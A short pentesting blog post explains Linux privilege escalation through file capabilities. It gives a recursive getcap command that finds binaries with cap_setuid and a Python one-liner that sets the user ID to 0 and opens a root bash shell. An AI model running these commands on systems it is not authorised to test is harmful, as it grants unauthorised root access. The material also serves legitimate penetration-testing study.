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How to get a root shell using results from getcap

2025-12-01

🏷️ bash 🏷️ exploit 🏷️ linux 🏷️ pentesting 🏷️ privilege-escalation 🏷️ root

getcap is a program to get capabilities of others. The one which is a way in is cap_setuid

getcap -r / 2>/dev/null

If anything’s listed which lets you script, you can use that to get a shell. Here’s a Python example:

python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

2025-11-27

🏷️ exploit 🏷️ hacking 🏷️ searching

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